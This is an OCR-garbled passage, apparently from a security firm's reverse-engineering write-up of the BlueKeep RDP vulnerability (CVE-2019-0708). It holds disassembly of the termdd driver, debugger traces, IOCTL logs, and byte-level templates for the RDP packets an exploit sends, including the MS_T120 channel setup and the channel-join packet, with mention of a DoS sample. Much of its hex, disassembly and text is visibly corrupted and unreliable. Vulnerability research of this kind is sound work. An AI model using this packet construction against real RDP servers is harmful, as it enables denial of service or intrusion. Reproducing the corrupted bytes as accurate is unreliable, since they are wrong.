IcaDeviceControl+42 lea r8, [rsp+d48h+chunk_OutputBuffer]
IcaDeviceControl+47 lea rdx, [rsp+48h+chunk_Input_Buffer]
IcaDeviceControl+4C  call ProbeAndCapturelUserBuffers
IcaDeviceControl+51  test eax, eax |[rsp+48h+chunk71nputiBuf‘FEr]=dEbugBBl:FFFFFASBBG?QBBGB
IcaDeviceControl+53  jnz short loc_FFFFF88@83FDA3C

'
'
'
'
L
v
'
'
'
'
'
'
'
]
'
'
1
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
o
v
'
L
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'
'

IcaDeviceControl+55 mov rax, [r12+48]
IcaDeviceControl+5A mov rdi, [rsp+48h+chunk OutputBuffer]
100.00% (115,421) (2223,21¢) 00003DBE FFFFFE2003FSDSEB: .text:termdd IcaDeviceControl+4? (Synchronized with RIP)
f O & X [O] Hex View-1 Oo& x
(53] GEG2 @@ @0 B0 B2 74 00 64 G0 74 0@ 63 00 70 @0 0@ @@ ....t.d.t.c.p... ~
(53] BE72 90 00 O 0D OO 0O 0D @ OO 0O 0D O DD DO 0O 00
(53] BEE2 00 00 60 60 00 0O 00 60 00060800000008@
(53] BECE 90 00 G0 0D 90 0O 0D G0 OO 0O 0D G0 OO PO 0O 00
(53] GEAG 0O 0D B0 0D B0 DO 0D G2 B0 0O G0 @0 4D BB 69 @0
(53] BEE2 63 @@ 72 00 6F @0 73 @@ 6F 00 66 @0 74 00 20 00
(53] GEC2 52 8@ 44 00 56 9O 20 @@ 37 0@ 2E @0 31 00 00 60
(53] GEDZ 90 00 60 00O 90 0O 0D G0 OO DO 0D O DD DO 0O 00
(53] GEES @0 00 60 00 90 0O 0D G0 OO 0O 0D G0 BD BB 72 @0
(53] GEF2 64 8@ 7@ 00 77 00 64 6@ 0O 0O 0D O OO DO 0O 00
(53] GCE2 90 00 G0 0D 90 0O 0D G0 OO DO 0D O DD DO 0O 00
(53] GCle 90 00 60 00 00 0O 0D G0 OO 0O 0D O DD PO 0O 00
(53] 8C20 90 00 60 0D OO 0O 0D G0 OO DO 0D OP DD PO 0O 00
(53] GC5e 72 80 64 00 70 B0 77 @@ 73 0@ 7S 00 OO 00 00 00
{522 GC42 90 00 G0 00 90 0O 0D G0 OO 0O 0D O DD DO 0O 00

<

The variable "resource" points to IcaStackDispatchTable.

L T e

* RDX @22ea5380a87FD6EE
RSI FFFFFABBBAFE5698 '
lea r8, [rsp+48h+chunk_OutputBuffer] RDI FFFFFABB@7461018 '
lea rdx, [rsp+48h+chunk_Input Buffer] RBP FFEFFASRA74610E0
call ProbeAndCaptureUserBuffers
test  eax, eax BH  Modules [Emo
ontrol+53  jnz short loc_FFFFF83883FIDA3C

v Function name

-viceControI

E rﬁ =] E lcaDeviceControlKeyboard
mov rax, [rl2+ FSRTL_ADVANCED_FCB_HEADER.Rescurce] [7] IcaDeviceCantrolStack
mov rdi, [rsp+48h+chunk OutputBuffer] [F1 icaDereferenceSdl nad
mov r9, [rsp+48h+chunk_Input_Buffer] |[r12+_FSRTL_ADVANCED_FCB_HEADER.Resource]=.data:IcaStackDispatchTable
mov rg, rbp I L -

ntr mews rdv  rhy ® | icade
termdd IcaDeviceControlt55 (Synchronized with RIF) Line 4 of 10

O & % [0l stackview
| frame the area of the table and create a structure from memory which | call _lcaStackDispatchTable.
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i; Please enter text

Please edit the type dedaration

struct _ TcaStackDispatchTable
1
_BYTE gap®[16];
__inte4 (_ fastcall *IcaCloseStack)(PVOID P);
_BYTE gaplZ[88];
__inted4 (_ usercall *IcaDeviceControlStack)@<rax:(PVOID Pi<rcx>, woid *Dst);
char field 78[24];
vold *IcafssertStacklLockedExclusive;
_BYTE gap9&[8@];
__inte4 SysParams;
I

A J
FIZE
IcaDeviceControl455  mov rax, [rl2+ FSRTL ADVANCED FCB HEADER.Rescurce] ; termdd!IcaStackDispatchTable
IcaDeviceControl45A  mowv rdi, [rsp+48h+chunk OutputBuffer]
IcaDeviceControl45F  mov r8, [rsp+48h+chunk _Input Buffer]
IcaDes 1+64 mov r8, rbp
IcaDen mov rdx, rbx
Icabey o A mov rex, rl2 e
IcaDeviceControl+6D mov [rsp+48h+Dst], rdi ; Dst
IcaDeviceControl472  call [r‘ax+_IcaStackDispatcthable.IcaDeviceContr‘olStack]
IcaDeviceC 1+75 mov ebp, eax
IcaDey test eax, eax
IcaDev jnz short loc_FFFFFE8@83FIDAG3
v
| entered and started to reverse this function.
[Ead | EF| oTadk OT ICaUeVICELONT OlnTalk | =] oTladk OT LCalevICELonTal g Irace WInaow LS| Latapase NnoTepan [ BreakpoinTs
1 ;3 _ inté4 _ usercall IcaDeviceControlStack@<rax>({PWOID Pfi<rcx>, void *_chunk_OutputBuffer)
IcaDeviceControlstack proc near ; DATA XR .data:IcastackDispatchTablelo

.pdata:FFFFF88883FA524Cto
Object= qword ptr -8B8h
var_Bé= gword ptr -8B8h
var_A8= dword ptr -BASh
var_AB= gword ptr -BABh
var_98= dword ptr -98h

var_9@= qword ptr -9@h

var_B88= dword ptr -88h

var_B4= dword ptr -84h

var_g@= dword ptr -3eh

var_7C= dword ptr -7Ch

var_78= qword ptr -78h

var_7@= gword ptr -78h
Timeout= LARGE_INTEGER ptr -68h
var_68= gword ptr -68h
StartContext= byte ptr -58h
var_58= qword ptr -58h

var_48= qword ptr -48h

var_48= qword ptr -48h

var_38= dword ptr -38h

COOKIE= gqword ptr -38h
_chunk_OutputBuffer= gqword ptr 28h

push rbx

push rbp

push rsi

push rdi

push riz

sub rsp, @Béh

mov rax, cs:_ security_cookie

xor rax, rsp

mov [rsp+@D8h+C0O0KIE], rax

mov ebx, [r8+ IO STACK LOCATION.Parameters.DeviceloControl.IoControlCode] ; r8=I0 STACK LOCATION
maw rdi, rcx ; RCX=F5RTL_ADVANCED_FCB_HEADER
mov rcx, [rsp+@D8h+ chunk OutputBuffer] ; _chunk_OutputBuffer

mov rbp, r9 ; chunk_Input_Buffer

mov rl2, rdx ; RDX=p Irp

cmp ebx, eax

ja loc_FFFFF888@3F9E76B

The first time we arrived here, the IOCTL value is 38002b.
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mov eax, ebhx
sub egdx, 38882EBh

jz loc_FFFFFE8883F9E462,

We arrived to a call to _lcaPushStack.

B AY BREEEEREEEE888608
REX @@Eaaeaea8338028

RDX FFFFFABBG7461616
RSI FFFFFABB@4FG5698
RDI FFFFFABBB6EC5458
RBP FFFFFABB@G6790E68
RSP FFFFFEE@G5B217608
RIP FFFFFEE®@3FIE31E
R8 FFFFFABBG74610ES
R9 FFFFFABBGG6790E68
Rl 886666066668006066
R11 FFFFFASBB6798E68

FreErerrerrer

debuge

Icabevi]

debug@

debue@

maov
mov
call

loc_FFFFFB3@@3FIE43B:

rdx, rg
rcx, rdi
_IcaPushstack

; CODE XREF: IcaDeviceControlStack+1C3tj
3 chunk Input Buffer
; FSRTL_ADVAMCED_FCB HEADER

Inside two allocations are performed, i named
them chunk_PUSH_STACK_0x488 and chunk_PUSH_STACK_o0xA8

Mo
mow
Xor
Lty

esi,
edx,
ecx,
réd,
cs:

rax,

short loc_FFFFF88@@3FARL120

loc_FFFFFB80@3FABBFI :

"eisT!
438h
ecx
esi
im

rax

ExAllocatePoolWithTa

; CODE XREF: IcaPushStack+5917

; NumberOfBytes
; PoolType

3 Teg

3 [chunk_PUSH_STACK exass

When IOCTL value 0x38002b is used, we reach _lcaLoadSd

mov
mov
xor
call

loc_FFFFFE2083FAR126:

ExAllocatePoolWithTa

short loc_FFFFFEB@@3FARL3F H

; CODE XREF: _IcaPushStack+8@tj

H
5 Tag

3 NumberOfBytes

; PoolType

hunk_PUSH_STACK_@xAg

AR B T T T T oo
LB

B loc_FFFFF33@@3FABL3F: ; CODE XREF: _IcaPushStack+3Ftj

28 lea rcx, [rbxt+chunk Input Buffer.field 4] ; p Input Buffer.field 4

AF  lea rdx, [rsp+48h+P] ; pP

B4 mov rg, rax ; chunk_ PUSH_STACK_@xAZ

BY call _Icaloadsd

BC mov esi, eax

BE test eax, eax

o js loc_FFFFFEEBB3FAB306

We can see the complete log of the calls to the driver with different IOCTL only in the connection without

sending data yet.
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I@O&é’é?b?CK LOCATION oxfffffa8 ooGIlwe—]g@bl}_eversing of BLUEKEEP vulnerability (CVE-2019-0708) | Core Security

IRP oxfffffaBoo61begcoL

chunk_CONNECTION oxfffffa8006223510L

IO_STACK_LOCATION oxfffffa8oo61beagoL

IRP oxfffffaBoo61begcoL

FILE_OBJECT oxfffffa8004231860L

chunk_stack_oxBA8 oxfffffa80068d63doL

FILE_OBJECT_2 oxfffffa80063307boL

IOCTL 0x380047L

FILE_OBJECT_2 oxfffffa8006335ae0L

IOCTL 0x38002bL

chunk_PUSH_STACK_0ox488 oxfffffa8006922a20L

chunk_PUSH_STACK_oxa8 oxfffffa8oos5ce0570L

FILE_OBJECT_2 oxfffffa8006335ae0L

IOCTL 0x38002bL

chunk_PUSH_STACK_0x488 oxfffffa8o05f234e0L

chunk_PUSH_STACK_oxa8 oxfffffaBo06875baoL

FILE_OBJECT _2 oxfffffa8006335ae0L

IOCTL ox38002bL

chunk_PUSH_STACK_ox488 oxfffffaBoosdafo1oL

chunk_PUSH_STACK_oxa8 oxfffffa8006324c40L

FILE_OBJECT_2 oxfffffa8006335ae0L

IOCTL ox38003bL

FILE_OBJECT_2 oxfffffa8006335ae0L
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I%W%XBS ooc7L Low-level Reversing of BLUEKEEP vulnerability (CVE-2019-0708) | Core Security

FILE_OBJECT _2 oxfffffa8006335ae0L
IOCTL 0x38244fL

FILE_OBJECT _2 oxfffffa8006335ae0L
IOCTL 0x38016fL

FILE_OBJECT_2 oxfffffa8006335ae0L
IOCTL 0x380173L

FILE_OBJECT_2 oxfffffa8006334c9oL
FILE_OBJECT_2 oxfffffa8006335ae0L
IOCTL 0x38004bL

IO_STACK_LOCATION oxfffffaBoo4cebgdoL
IRP oxfffffaBo0o4cebgooL

FILE_OBJECT oxfffffa8006334c90oL
chunk_channel oxfffffa8006923240L
guarda RDI DESTINATION oxfffffa8006923240L
FILE_OBJECT_2 oxfffffa8006335ae0L
IOCTL o0x381403L

FILE_OBJECT _2 oxfffffa8006335ae0L

IOCTL 0x380148L

I will put conditional breakpoints in each different IOCTL, to list the functions where each one ends up.

The IOCTLs 0x380047, 0x38003b, 0x3800c7, 0x38244f, 0x38016f, 0x38004b, 0x381403 end in _IlcaCallStack
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| o

These IOCTLs also reach _IcaCallSd

IOCTL 0x380148 does nothing

IOCTL 0x380173 reaches _IcaDriverThread
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IcaDriverThreac

And this last one reaches tdtcp_TdInputThread also.
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= 10A View-HLF A ] (L Trace window L=l Database notepad
:dtcp:FFFFFE3RB4BALAASE tdtcp_TdInputT}i‘ead:
:dtcp: FFFFFBE@@4BAAR58 mov [rsp+18h], rbx
:dtcp: FFFFFEE8884BAABSD push rbp
:dtcp: FFFFF350@4BAAB5E push rsi
:dtcp:FFFFF358@4BA885F push rdi
:dtcp:FFFFF350048A8868 push ri2
:dtcp: FFFFFBER84BAARE2 push ri3
:dtcp: FFFFFEE8884BAABEY push ril4
:dtcp: FFFFFEE@R4BAABEE push ris
:dtcp:FFFFFE50@4BAA068 sub rsp, 848h
:dtcp:FFFFF350@46AM06F mov rlad, 1
:dtcp: FFFFFEE0G4BAMG75 mov rsi, rcx
:dtcp: FFFFF38884BAABTE test [rex+318h], rldb
:dtcp:FFFFFEE084BAABTF jnz loc_FFFFFEERA4BAAGAS
:dtcp:FFFFFE8@R4BAABES xor ri3d, rl3d
:dtcp:FFFFFE50@4BARA088 cmp [rcx+268h], rl3
:dtcp:FFFFF35004BAMB8F jz loc_FFFFF35884BAAGAS
:dtcp:FFFFFBEBA4BAARTS xor r8d, rad
:dtcp:FFFFFBEB@4BAARTE xor edx, edx
:dtcp:FFFFFEE084BAABOA add rcx, 2F8h
:dtcp:FFFFF350048A488A1 call cs:tdtcp  imp KeInitializeEwent
:dtcp:FFFFFE3E0@46AMGAT mov ecx, [rsi+28Ch]
:dtcp:FFFFFE350@45AA0A0 mov eax, [rsi+2Feh]
:dtcp:FFFFFBE@B4BALABES lea réd, [rcxtrax]
:dtcp:FFFFFEE8@4BAARET cmp r8d, ecx
:dtcp: FFFFFEE30R4BAABEA Jjb short loc_FFFFFE3884BAABCE
:dtcp:FFFFF38004BA8BBC lea rdx, [rsp+888h]
:dtcp:FFFFFE350@45AA8C4 mov rex, rsi

:dtcp: FFFFF38884BA8BCT call near ptr tdtcp TdInBufAlloc
:dtcp: FFFFFBE8@4BAABCC jmp short loc_FFFFFE3884BAABDS
1 tep: FFFFFBBBBABARBOE § - - - === === === == == =~ = =

:dtcp: FFFFFE8884BAABCE

:dtcp:FFFFF350@4BAABCE loc_FFFFF3B0B4BAABCE :
:dtcp:FFFFF350@45AM8CE mov eax, @Ceeaeaalh
:dtcp: FFFFFBE884BAARD3

:dtcp:FFFFF388@4BAABD3 loc_FFFFF3B@B4BAABDS:
:dtcp:FFFFFEE8@84BAABDE cmp eax, rlid

; CODE XREF: tdtcp:tdtcp TdInputThread+621]

; CODE XREF: tdtcp:tdtcp TdInputThread+741]

JNENCWH FFFFFS328004BRROSS: tdtcp:tdtep TdInputThread (Synchronized with RIP)

This function is used to receive the data sended by the user.

STEP 5) Receiving data

If we continue running to the point of data entry breakpoint, we can see in the call stack that it comes

from tdtcp! TdinputThread.
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LO0.00% (49£0,4550)

{1253,152) UNEMOWH

RDPWD: FFFFFEE@@4BEBELT

ROPWD: FFFFF380G4BEBEL7 loc FFFFFB3@@4BEBELTV:

RDPWD: FFFFFEE@@4BEBELT

RDPWD : FFFFFE8084BEBEL7 mov
RDPWD: FFFFF838@4BEBELE and
RDPWD: FFFFFBB8@4BEBELD jnz

short loc_FFFFFB8@B4BEBE2C

; CODE XREF: rdpwd
3 rdpwd MCSIcaRawIr

FEFFFF35004BESELT7: rdpwd MCSIcaRawInputWorker:loc FFFFFE2004BESEL7 (Synchronized wit

,i!h O & X @Hex'ﬁ"lew—l

00 00 80 o
m I= \O
5 & D

m

33 (7 82 FF FF FF FF BA @4 @0 @0
23 48 8B D7 48 86 CE EE 34 ED FF
48 8B 4E @8 4C 86 C7 BA @5 08 o
B2 @8 BB B
8@ 5B 28 49 8B 73 28 49 8B E3 5F (3 ¢

UNENOWN FFFFFE2S004BC428C4: rdpwd WDSYS_ Ioctl:loc FFFFFE28004BC48C4 (Synchromized with RCE)

3C.FFye. . . ENEE
#HoxH IRAiyy Q8.
HeN.LiCe. .. .§.f—
e ABL.EEP. .. (AT
[-I¢s(I¢d A.f...

Output window @
WINDBG>k
Child-sP RetAddr Call site

fffffase” e498bc7a
fffffase” e498bd1e
fffffase” a498bd4a
fffffese” e498bd78
fffffese e498beln
fffffese” @498besn
fffffese” @498bebd
fffffase" e493c730
fffffase” a498c768
fffffase” a498c548
fffffese” a498c898
fffffese” e498c8de
fffffese e498capn
fffffese e498ca7a
Baepaee0" 823df7e3
eaepaeRe” 823df7Te

fffffase” @39de1fs
fffifese” e4bbssde
fffffese” e4bbadss
fffffese” e4bbavc2
fffffese e39delfs
fffffege e4baadbd
fffifege e30def3e
fffffgse” @839ctae3
fffifeae” @39ce9e9
fffffase” 839ces89
fffffeee 82baces7
fffifeee” a2baceect
fffffeee e288f253
PEeEeReE" 7743138a
pappe7fe” f9a513as
PEBEEE00" 000008

ROPWD!MCSIcaRawInputhorker+8x277

termdd! IcaRawInput+8x58

tssecsrv!CRawInputDM: :PassDataToServer+@x2c
tssecsrv!CFilter: :FilterIncomingData+@xc?

tssecsrv!ScrRawlnput+exs2

termdd! IcaRawInput+@x5@ ‘-_‘___.-—""'
Eatep! TaTnputThrcad MITEE

termdd! IcaDriverThread+8x5a

termdd! IcaDeviceControlStack+exs27

termdd! IcaDeviceControl+8x7s
termdd! IcaDispatch+8x215

nt! IopXxxControlFile+@x6a7
nt!NtDeviceloControlFile+8x56

nt!KisystemServiceCopyEnd+@x13

Bx7743138a
Bx@epaa7fe” f9a513a8

WINDBG

The server is ready now, and waiting for our first send.

We will analyze the packages and next we will return to the reversing.

STEP ©6) Analyzing Packets
Negotiate Request package

03 00 00 13 0e €0 00 00 00 00 00 01 00 08 00 01 00 00 00
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; )8) | Core Security
* TPKT, ¥ersiom: 3, Length: 13

Version: 3
Reserved: @
Lemgth: 1%
w IS0 BBT3SX.224 COTP Conmection-Oriented Tramsport Protocol
Length: 14
POU Type: CR Connect Request [@x@e)
Destination reference: @woae
Source reference: BwBOBQ
BO28 . ... = Class: @
wems o8B, = Extended formats: False
....... @ = Mo ewplicit flow control: False
“ Resote 13 Protocal
Type:|RDP Megotiation Request (éxel) |
Flags: Gwia
Length: 8
¥ requestedProtocols: BxB@@adedl, TLS security supported
ears wmes senw raee wews seee eeme eeed = TLS Securlty supported: True

v wmes mrae seee wevs sesr sesse o oB. = CPedSSP supported: False
rars smws sear rene sews sear sene B... = Early User Authorization Result PDU supported: False
TPKT, Wersdon: 3, Length: 19

Header
03 -> TPET: TPET wversion = 3
00 -> TPEI: Reserved = [
00 - TPET: Packet length - high part
13 -» TPET: Packet length - low part
XK.224
e -» X_.224: Length indicator
el - X_224: CRC connect reguest
00 00 -» H.2Z24: Destination reference = 0
00 00 -> X_224: Source reference = [
00 -» X.224: Clazss and options = 0
PDU
01 -> RDP_NEG EEQ: _Type=0xl RDF Hegotiation Regquest
00 -> RDP _NEG BEQ. . flags (0]
08 00 -> RODP_NEG BEQ:. Slength (8 bytes)
01 00 00 00 -» Oxl TLS security gupported (55L)

Requested Protocol

———— e =

¥ requestedProtocols: 8xeesaessl, TLS security supported
saas mmss mass ssss ssas sa=s saas «=.1l = TLS security supported: True
CredSSP supported: False
Early User Authorization Result PDU supported: False

T -

seas waas aaaa wsaa sasa asas asas Baaa

Negotiation Response package

The Response package was similar only with Type=0x2 RDP Negotiation Response
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| .| |A|:||:|I'-r' 3 display filter ... <Ctrl-/=

Mo, Time Source Destination Protocol  Length Info
1 @.aeaaaa 1.1.1.1 2.2.2.2 RDP 73 Negotiate Response

Internet Protocol Version 4, Src: 1.1.1.1, Dst: 2.2.2.2

¥ TPKT, Version: 3, Length: 19
Version: 3
Reserved: @
Length: 19
IS0 8873/X.224 COTP Connection-Oriented Transpogt Protocol
¥ Remote Desktop Protocol /1
Type: RDP Negotiation Response (8x82)
Flags: @x@l, Extended Client Data Blocks supported

Length: &
v selectedProtocol: BxBeeBEBBL, TLS security selected
............................... 1 = TLS security selected: True
Meaa waaae saas waas weas wase wu.. w.B. = Cred5SP selected: False

Frame 1: 73 bytes on wire (534 bits), 73 bytes captured (584 bits) on interface @
Ethernet II, Src: Send 88 (28:53:45:4e2:44:88), Dst: Receive 88 (28:52:45:43:56:88)

Transmission Control Protocol, Src Port: 3389, Dst Port: 5888, Seq: 1, Len: 19

............................ @... = Early User Authorization Result PDU selected:

False

28 52 45 43 56 @@ 28 53 45 4e 44 8@ @3 80 45 86 RECV- S END- - -E-
@@ 3b 12 34 @@ @@ ff @6 a3 83 81 @1 @1 @1 82 a2 . B
@2 62 ad 3d 13 88 @0 @@ @0 1b ©0 ©0 28 B8 50 88 B P-
BEZE 20 88 43 Ta @@ @6 @3 00 68 13 6e de 0 89 12 B4 e e e waaaaaas
epdp @0 [F] @1 @3 @0 01 @0 @0 60 - EEEEEE -

Connect Initial Package

The package starts with

"\X03\X00\XFF\XFF\x02\xfo\x80" #\xFF\xFF are sizes to be calculated and smashed at the end

Header

03 -> TPKT: TPKT version = 3 00 -> TPKT: Reserved = 0 FF -> TPKT: Packet length - high part FF -> TPKT:

Packet length - low part

X.224

02 -> X.224: Length indicator = 2 fo -> X.224: Type = oxfo = Data TPDU 80 -> X.224: EOT

PDU

https://www.coresecurity.com/node/63548

46/61



AREH. -~ BER: Application-Definet Ty Reappe aERFHEREL gy nerability (CVE-2019-0708) | Core Security

"82 FF FF" .. -- BER: Type Length = will be calculated and smashed at the end in the Dos sample will be ox1b2
"04 01 01" .. -- Connect-Initial:callingDomainSelector

"04 01 01" .. -- Connect-Initial::calledDomainSelector

‘01 01 ff* .. -- Connect-Initial::upwardFlag = TRUE

30 19" .. -- Connect-Initial:targetParameters (25 bytes)

"02 01 22" .. -- DomainParameters:maxChannellds = 34
"02 01 02" .. -- DomainParameters:maxUserlds = 2

"02 01 00" .. -- DomainParameters:maxTokenlds = 0
"02 01 01" .. -- DomainParameters::numPriorities = 1
"02 01 00" .. -- DomainParameters:minThroughput = 0
"02 01 01" .. -- DomainParameters:maxHeight = 1

"02 02 ff ff" .. -- DomainParameters:maxMCSPDUsize = 65535

"02 01 02" .. -- DomainParameters:protocolVersion = 2

"30 19" .. -- Connect-Initial:minimumParameters (25 bytes)
"02 01 01" .. -- DomainParameters:maxChannellds = 1

"02 01 01" .. -- DomainParameters:maxUserlds = 1

"02 01 01" .. -- DomainParameters:: maxTokenlds = 1

"02 01 01" .. -- DomainParameters;:numPriorities = 1

"02 01 00" .. -- DomainParameters:minThroughput = 0

"02 01 01" .. -- DomainParameters:maxHeight = 1

"02 02 04 20" .. -- DomainParameters:maxMCSPDUsize = 1056

"02 01 02" .. -- DomainParameters:protocolVersion = 2

"30 1c¢" .. -- Connect-Initial:maximumParameters (28 bytes)
"02 02 ff ff" .. -- DomainParameters:maxChannellds = 65535
"02 02 fc 17" .. -- DomainParameters:maxUserlds = 64535

"02 o2 ff ff" .. -- DomainParameters:maxTokenlds = 65535

"02 01 01" .. -- DomainParameters:numpPriorities = 1
"02 01 00" .. -- DomainParameters:minThroughput = 0
‘02 01 01" .. -- DomainParameters:maxHeight = 1

"02 02 ff ff" .. -- DomainParameters:maxMCSPDUsize = 65535

"02 01 02" .. -- DomainParameters:protocolVersion = 2

"04 82 FF FF" .. -- Connect-Initial:userData (calculated at the end in the DoS example will be 0x151 bytes)



"00 05" .. -- object length = 5 bytes

"00 14 7c 00 01" .. -- object

"81 48" .. -- ConnectData:connectPDU length = 0x48 bytes

"00 08 00 10 00 01 CO 00 44 75 63 61" .. -- PER encoded (ALIGNED variant of BASIC-PER) GCC Conference
Create Request PDU

"81 FF" .. -- UserData:value length (calculated at the end in the DoS example will be ox13a bytes)

'01coea00".. -- TS_UD_HEADER:type = CS_CORE (0xc001), length = oxea bytes
"04 00 08 00" .. -- TS_UD_CS_CORE:version = 0x0008004

"00 05" .. -- TS_UD_CS_CORE:desktopWidth = 1280

"20 03" .. -- TS_UD_CS_CORE:desktopHeight = 1024

"01ca"..-- TS_UD_CS_CORE:colorDepth = RNS_UD_COLOR_8BPP (0xca0o1)
"03aa".. -- TS_UD_CS_CORE::SASSequence

"09 04 00 00" .. -- TS_UD_CS_CORE:keyboardLayout = 0x409 = 1033 = English (US)
"28 0a 00 00" .. -- TS_UD_CS_CORE::clientBuild = 2600

‘45 00 4d 00 50 00 2d 00 4C 00 41 00 50 00 2d 00" ..
"30 00 30 00 31 00 34 00 00 00 00 00 00 00 00 00" .. -- TS_UD_CS_CORE:clientName = EMP-LAP-0014

'04 00 00 00" .. -- TS_UD_CS_CORE:keyboardType
"00 00 00 00" .. -- TS_UD_CS_CORE:keyboardSubtype
"0c 00 00 00" .. -- TS_UD_CS_CORE:keyboardFunctionKey

"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 " ..
"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ".. -- TS_UD_CS_CORE:imeFileName = "

"01ca".. -- TS_UD_CS_CORE:postBeta2ColorDepth = RNS_UD_COLOR_8BPP (oxca01)
"01 00".. -- TS_UD_CS_CORE:clientProductid

"00 00 00 00" .. -- TS_UD_CS_CORE:serialNumber

"18 00" .. -- TS_UD_CS_CORE:highColorDepth = 24 bpp

"07 00" .. -- TS_UD_CS_CORE::supportedColorDepths = 24 bpp

"01 00" .. -- TS_UD_CS_CORE:earlyCapabilityFlags



"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 "..
"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..
"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ..

"00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" .. -- TS_UD_CS_CORE::clientDigProductld

07 -> TS_UD_CS_CORE:connectionType = 7
00 -> TS_UD_CS_CORE:padioctet

01 00 00 00 -> TS_UD_CS_CORE:serverSelectedProtocol

04 c0 0c 00 -> TS_UD_HEADER:type = CS_CLUSTER (0xc004), length = 12 bytes

15 00 00 00" .. -- TS_UD_CS_CLUSTER:Flags = ox15 f (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3)
"00 00 00 00" .. -- TS_UD_CS_CLUSTER:RedirectedSession|D

"02 co oc 00" -- TS_UD_HEADER:type = CS_SECURITY (0xc002), length = 12 bytes
"1b 00 00 00" .. -- TS_UD_CS_SEC:encryptionMethods

"00 00 00 00" .. -- TS_UD_CS_SEC:extEncryptionMethods

"03¢c0 38 00".. -- TS_UD_HEADER:type = CS_NET (0xc003), length = 0x38 bytes

In this package we need to set the user channels, and a MS_T120 channel needs to be included in the list.

Erect Domain Package

Header

@3 -> TPKT: TPKT version = 3

8@ -» TPKT: Reserved = 8

@a -» TPKT: Packet length - high part
Bc -» TPKT: Packet length - low part

X.224

@2 -» X.224: Length indicator = 2
f@ -» X.224: Type = @xfd = Data TPDU
g8 -> X.224: EOT

FDU



Transmission Control Protoceol, Src Port: 5888, Dst Port: 3389, Seq: 1, Len: 1889
¥ TPKT, Version: 3, Length: 12
Version: 3
Reserved: @
Length: 12
v IS0 B@73/X.224 COTP Connection-Oriented Transport Protocol
| Length: 2 |
PDU Type: DT Data (@x@f)
[Destination reference: @x@88@)
.B88 epa@ = TPDU number: exea
1... .... = Last data unit: Yes
¥ MULTIPOINT-COMMUNICATION-SERWICE T.125
¥ DomainMCSPDU: erectDomainRequest (1)
¥ erectDomainRequest
subHeight: @
subInterval: @
3, Length: 19

TPKT, Version:
Is0 B@a73/X.224 COTP Eguuecilgu—ﬂtieuﬂ‘d Transport Protocol

8232 20 o0 db 96 @0 BB 63 BB 8P Oc 82 i B0 B4 81 ob -I-
a8l &8 B3 e 82 13 Be =& 00 B2 B0 BB B2 61 B8 es

AR A1 GG GG A AT AR AR 12 Ao ol AR GG AR ARG GG

0x04: type ErectDomainRequest
oxo01: subHeight length = 1 byte
0x00 : subHeight = 0

oxo01: sublinterval length = 1 byte

0x00: sublinterval=0

User Attach Packet package

g@a0oBee &3 26 88 B8 82 fB 38 286 L.l (

83 @a @8 @8 -> TPKT Header (length = & bytes)
@2 fa 28 -» X.224 Data TPDU

PER encoded (ALIGNED wvariant of BASIC-PER) PDU contents:

23

Bx28

8 - —-\

e - |

1 - | CHOICE: From DomainMCSPDU select attachUserRequest (18)
a8 - | of type AttachUserRequest

1- |

e - —-f

8 - padding

8 - padding



¥ TPKT, Version:
Version: 3
Reserved: @
Length: B

TTATTT T owTH

3, Length: 8

v IS0 8873/X.224 COTP Connection-Oriented Transport Protocol
Length: 2

POU Type: DT Data (@xef)
[Destination reference: Bx@883)

008 8888 = TPDU number: @xee
1w wuua

= Last data unit: Yes
¥ MULTIPOINT-COMMUNICATION-SERVICE T.125
¥ DomainMCSPDU: attachUserRegquest (18)
attachUserRequest
TPKT, Version: 3, Length: 12

IS0 B8873/X.224 COTP Connection-Oriented Transport Protocol

a238 el @@l@B 20 08 88 82 fe Be EI:B @8 o8 8c 82 fe
G248 88 38

2514

2 fo 80 38 @@ @7 -
R er BT AR AR A- A? FR RR IR AE AT AT ed BT AR
We need to analyze the response.

03 00 00 Ob 02 fo 80 2e 00 00 07



| W | Apply a display filter ... <Ctrl-/=

Mo, Time Source Destination Protocal  Length Info
1 8.808800 1.1.1.1 2.2.2.2 T.125 65 attachUserConfirm

[Window size scaling factor: -1 (unknown)]
Checksum: @xeled4 [unverified]
[Checksum Status: Unverified]
Urgent pointer: @
[SEQ/ACK analysis)
[Timestamps]
TCP payload (11 bytes)
¥ TPKT, Version: 3, Length: 11
Version: 3
Reserved: @
Length: 11
IS0 8873/X.224 COTP Connection-Oriented Transport Protocol
¥ MULTIPOINT-COMMUNICATION-SERVICE T.125
¥ DomainMCSPDU: attachUserConfirm (11)
v attachUserConfirm
result: rt-successful (@)

initiator: 7 —

28 52 45 43 56 @@ 20 53 45 4e 44 @0 08 60 45 89 RECV- S END- - -E-
88 33 12 34 o8 88 ff 86 a3 Eb 61 81 81 81 82 82 N .
©2 82 od 3d ©d 3d @2 @0 ©© 4c B0 B0 @0 OB S8 B - - -=-=-- -L----P-
20 @0 el o4 @0 @0 B3 90 @@ @b @2 TR B0 2e @O E - oo .-B

The last byte is the initiator, we need to strip from the response to use in the next packet.

Channel Join request package

Building the package
xv1 = (chan_num) / 256

val = (chan_num) % 256

"\X03\X00\X00\Xx0c\Xx02\xfO\x80\x38\x00" + initiator + chr(xv1) + chr(val)

For channel 1003 by example



Xxv1 =(1003) / 256 =3

val = (1003) % 256 =235

"\X03\Xx00\Xx00\x0c\Xx02\xfO\x80\x38\x00" + initiator + chr(3) + chr(235)

=== chre{3)
"hxO03"

=== ohre{235)
"Wxeb"

¥ TPKT, Version: 3, Length: 12
Version: 3
Rezerved: @
Length: 12
IS0 8673/X.224 COTP Connection-Oriented Transport Protocol
* MULTIPOINT-COMMUNICATION-SERVICE T,.125
* DomainMCSPDU: JchannelloinRequest (14)
* channelJoinRequest
initiator: 7
channelId: 1883
TPKT, Version: 3, Length: 12
IS0 8873/X.224 COTP Connection-Oriented Transport Protocol

